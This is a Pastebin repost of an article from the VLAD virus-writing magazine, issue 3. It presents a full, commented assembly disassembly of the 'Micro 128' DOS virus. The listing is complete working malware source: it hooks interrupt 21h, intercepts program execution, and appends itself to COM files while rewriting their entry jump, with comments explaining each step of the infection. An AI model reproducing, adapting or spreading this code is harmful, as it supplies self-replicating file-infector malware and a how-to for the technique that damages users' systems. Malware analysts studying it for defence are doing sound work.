Advertisement
FlyFar

VLAD Magazine - Issue #3 - ARTICLE.3_6 - Disassembly of Micro 128

Jun 29th, 2023
1,571
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 4.44 KB | Cybersecurity | 0 0
  1. ;                             Darkman/VLAD
  2. ;                           Proudly Presents
  3. ;                       Disassembly of Micro 128
  4.  
  5.  
  6. micro128     segment
  7.              assume  cs:micro128,ds:micro128,es:micro128
  8.              org     100h                ; Origin of COM-file
  9.  
  10. code:
  11. jumpcode     db      0e9h,03h,00h        ; Jump to viruscode
  12. viruscode:
  13. realcode     db      0cdh,20h,90h        ; Real code of infected file
  14.  
  15.              lea     di,code             ; DI = offset of code
  16.              push    di                  ; Save DI at stack
  17.              mov     si,di
  18.              add     si,[di+01h]         ; SI = delta offset (viruscode)
  19.              movsw                       ; Move the real code to beginning
  20.              movsb                       ;  "    "   "    "   "   "     "
  21.              xor     ax,ax               ; Clear AX
  22.              mov     es,ax               ; ES = interrupt table
  23.              mov     di,303h             ; DI = offset of hole in memory
  24.              mov     cl,7dh              ; Move 125 bytes
  25.              rep     movsb               ; Move virus to hole in memory
  26.              scasw                       ; Overwritten anything?
  27.              jne     virusexit           ; Not equal? Jump to virusexit
  28.              std                         ; Set direction flag
  29. setintvec:
  30.              xchg    ax,es:[di+0fd04h]   ; Exchange AX with int 21h
  31.              stosw                       ; Store address of interrupt 21h
  32.              mov     ax,033fh            ; AX = offset of virusint21
  33.              cmc                         ; Complement carry flag
  34.              jb      setintvec           ; Carry flag? Jump to setintvec
  35.              cld                         ; Clear direction flag
  36. virusexit:
  37.              push    cs                  ; Save CS at stack
  38.              pop     es                  ; Load ES from stack (CS)
  39.              ret                         ; Return!
  40. mvfptrbegin:
  41.              mov     al,00h              ; Move file pointer from beginning
  42. movefileptr:
  43.              mov     ah,42h              ; Move file pointer
  44.              xor     cx,cx               ; Clear CX
  45.              xor     dx,dx               ; Clear DX
  46.              int     0e0h                ; Do it!
  47.  
  48.              mov     cl,03h
  49.              mov     dh,03h
  50.              ret                         ; Return!
  51.  
  52. micro128cod  db      0e9h,?,?            ; New code of infected file
  53. virusint21:
  54.              cmp     ah,4bh              ; Load or execute?
  55.              jne     int21exit           ; Not equal? Jump to int21exit
  56.  
  57.              push    ax                  ; Save AX at stack
  58.              push    bx                  ; Save BX at stack
  59.              push    dx                  ; Save DX at stack
  60.              push    ds                  ; Save DS at stack
  61.  
  62.              mov     ax,3d02h            ; Open file (read/write)
  63.              int     0e0h                ; Do it!
  64.              jb      closefile           ; Below? Jump to closefile
  65.              mov     bx,ax               ; BX = file handle
  66.  
  67.              push    cs                  ; Save CS at stack
  68.              pop     ds                  ; Load DS from stack (CS)
  69.              call    mvfptrbegin
  70.  
  71.              mov     ah,3fh              ; Read from file
  72.              int     0e0h                ; Do it!
  73.              cmp     byte ptr ds:[300h],'M'
  74.              je      closefile           ; Equal? Jump to closefile
  75.  
  76.              dec     ax                  ; Decrease AX
  77.              call    movefileptr
  78.              mov     ds:[33dh],ax        ; Store offset of virus code
  79.  
  80.              mov     ah,40h              ; Write to file
  81.              mov     cl,(codeend-viruscode)
  82.              int     0e0h                ; Do it!
  83.  
  84.              call    mvfptrbegin
  85.  
  86.              mov     dl,3ch              ; DX = offset of micro128cod
  87.              mov     ah,40h              ; Write to file
  88.              int     0e0h                ; Do it!
  89. closefile:
  90.              mov     ah,3eh              ; Close file
  91.              int     0e0h                ; Do it!
  92.  
  93.              pop     ds                  ; Load DS from stack
  94.              pop     dx                  ; Load DS from stack
  95.              pop     bx                  ; Load DS from stack
  96.              pop     ax                  ; Load DS from stack
  97. int21exit:
  98. jumpfar      db      0eah                ; Object code of jump far
  99. codeend:
  100.  
  101. micro128     ends
  102. end          code
Tags: vlad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement